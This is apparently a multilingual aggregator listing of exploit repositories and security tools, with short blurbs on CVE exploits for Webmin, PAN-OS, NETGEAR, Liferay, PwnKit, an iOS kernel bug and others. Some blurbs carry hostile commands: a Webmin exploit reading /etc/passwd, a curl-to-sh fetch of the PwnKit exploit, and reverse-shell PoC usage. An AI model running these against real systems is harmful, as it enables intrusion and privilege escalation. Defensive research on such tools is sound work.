ExploitWebmin

Script Webmin Progetto creato da: Gabriel Jose. Script Python per sfruttare la vulnerabilità webmin cve-2006-3392 Esempio di utilizzo ./exploitWebmin.py -pt http -t host -p port -f file root@kitploit: ./exploitWebmin.py -pt http -t 127.0.0.1 -p 10000 -f /etc/passwd...

PyStegosploit

PyStegosploit - Consegna di Exploit tramite Steganografia e Poliglotti video1 | video2 | page di Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael Maggio 2021 Stegosploit crea un nuovo modo per codificare exploit browser "drive-by" e consegnarli attraverso file immagine. Ques...

sploit-bX

sploit-bX Bash-Installer für die Exploits CVE-2017-0781 und CVE-2017-0785 sowie alles Notwendige für deren Nutzung. Diese Exploits dienen dazu, herauszufinden, ob unser Bluetooth angreifbar ist. Repository herunterladen git clone https://github.com/CarlosDelRosario7/sploit-bX Installation Wechsel...

Cisco Small Business WAN VPN Routers - Sensitive Information Disclosure

Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated remote attacker to retrieve sensitive information due to improper access controls for URLs. An attacker could exploit this vulnerability by connecting to an affected device via HTTP or HTTPS and...

Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution

Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services JSONWS. id: CVE-2020-7961 info: name: Liferay Portal Unauthenticated 7.2.1 CE GA2 - Remote Code Execution author: dwisiswant0 severity: critical description: Liferay Portal prior to 7.2.1 ...

WordPress PHPMailer < 5.2.18 - Remote Code Execution

WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " backslash double quote in a crafted Sender property in isMail transport. id: CVE-2016-10033 info: name: WordPress PHPMailer 5.2.18 - Remote...

NETGEAR Routers - Remote Code Execution

NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow...

Palo Alto Network PAN-OS - Remote Code Execution

Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface. id: CVE-2017-15944 info: name: Palo Alto Network PAN-OS - Remote Code Execution...

NETGEAR WNAP320 Access Point Firmware - Remote Command Injection

NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2016-1555 info: name: NETGEAR WNAP320 Access Point Firmware - Remote Command Injection author: gy741 severity: critical...

Rails File Content Disclosure

Rails 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed. id: CVE-2019-5418 info: name: Rails File Content Disclosure...

ctf_writeups

Condivisione di writeup e codici exploit...

CVE-2022-31814

CVE-2022-31814 Exploit aggiornato - pfBlockerNG = 2.1.426 RCE non autenticata CVE-2022-31814 Descrizione Questo script è un exploit proof-of-concept per pfBlockerNG = 2.1.426 che consente l'esecuzione remota di codice. Prende un singolo URL target o un elenco di URL, tenta di caricare una shell...

KERNELexploits

PwnKit Exploit autonomo per CVE-2021-4034 - Escalation dei privilegi locali di Pkexec Utilizzo Dovrebbe funzionare subito sulle distribuzioni Linux vulnerabili basate su Ubuntu, Debian, Fedora e CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh...

CVE-2014-6287

PoC exploit script bash bash.webm Informazioni sull'exploit Puoi ottenere una reverse shell con il file .sh su Linux Puoi ottenere una reverse shell con il file .py su Windows e Linux su Windows, devi installare netcat Devi specificare l'URL esempio: http://target.com/ utilizzo per .py: python...

Next.JS-CVE-2025-29927

Scanner di Vulnerabilità Next.js CVE-2025-29927 Uno strumento di sicurezza per rilevare e verificare applicazioni Next.js vulnerabili a CVE-2025-29927 Bypass dell'autenticazione. Funzionalità 🎯 Rilevamento accurato di Next.js con molteplici metodi di verifica 🔍 Confronto preciso delle versioni pe...

CVE-2025-24893-POC

CVE-2025-24893 Installa bun: root@kitploit: curl -fsSL https://bun.com/install | bash Per installare le dipendenze: root@kitploit: bun install Per eseguire: root@kitploit: bun run CVE-2025-24893.ts Questo progetto è stato creato utilizzando bun init in bun v1.2.19. Bun è un runtime JavaScript...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

ronin

ronin Website Source Issues Documentation Discord | Mastodon Description Ronin is a free and Open Source Ruby toolkit for security research and development. Ronin contains many different CLI commands and Ruby libraries for a variety of security tasks, such as encoding/decoding data, filter...

webminscan

Webminscan Webmin एक्सप्लॉइट स्कैनर CVE-2020-35606 CVE-2019-12840...

Trigon

Trigon Trigon è un exploit deterministico del kernel basato su CVE-2023-32434. Attualmente supporta i dispositivi A9 - A11 con iOS 13 - 15.7.6. Essere deterministico significa che questo exploit non causerà mai un panic durante o dopo lo sfruttamento ed è completamente affidabile. Trigon sfrutta ...